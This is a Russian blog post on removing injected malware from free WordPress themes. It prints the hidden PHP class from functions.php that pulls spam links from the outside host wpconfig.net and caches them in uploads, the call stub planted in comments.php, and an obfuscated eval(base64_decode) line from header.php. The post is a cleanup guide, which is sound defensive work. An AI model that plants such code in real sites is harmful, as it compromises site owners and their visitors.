Удаление уязвимостей из шаблонов WordPress

В предыдущей статье я писал о том, как обнаружил уязвимости в своем шаблоне. В этой я опишу процесс избавления от подобных “сюрпризов”.


Откроем всеми любимый поисковик – google и введем в него запрос “шаблоны wordpress”, первым результатом будет раскрученный трастовый сайт wp-templates ru. Сайт живет с 2010 года, имеет очень хорошие показатели, а именно тиц 2700 и pr 5, лично у меня складывается о нем очень хорошее впечатление. Кто бы мог подумать, что большая часть шаблонов заражена спам ссылками. Перед написанием этой статьи, скачал пять случайных шаблонов, в четырех был вредоносный код. На примере одного из шаблонов, напишу, как от него избавиться.


Открываем function.php, ищем и удаляем подобный код

<?php

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_socket_timeout    = 5;

    function get_remote() {
        $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

        $links_class = new Get_links();
        $host = $links_class->host;
        $path = $links_class->path;
        $_socket_timeout = $links_class->_socket_timeout;
        //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                        "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

         $data = @file_get_contents('http://' . $host . $path, false, $context); 
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
        return '<!--link error-->';
    }
}
?>

Есть еще один вариант данного кода:

<?php

class Get_links {

var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;

function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);

if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);

$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}
?>

Начинается одинаково, кончается по-разному. Главный корень мы вытащили, осталось разобраться с корешками – кодом который остался в файлах сайта. Без основного кода, который мы только что удалили, действовать он не будет, но зачем его оставлять?

Вот так он собственно выглядит:

<?php $lib_path = dirname(__FILE__).'/';require_once('functions.php'); $links = new Get_links(); $links =$links->return_links($lib_path); echo $links; ?>

Проверить советую, все файлы вашей темы, но лично у меня он содержался в одном файле: comments.php.


С функцией пихающий ссылки на сайт мы разобрались, однако на этом наши мучения не закончились. В header часто прячут закодированный код, и выглядит он примерно так:

< ?php eval(base64_decode('2fc5375081c7d564f66fda2c7fb37c53’))?>

Внутри таких вот кодовов, тоже обычно спрятаны ссылки, в любом случаи его нужно убирать как можно быстрее.


На этом все. До скорого

Добавить комментарий

Комментарии (0)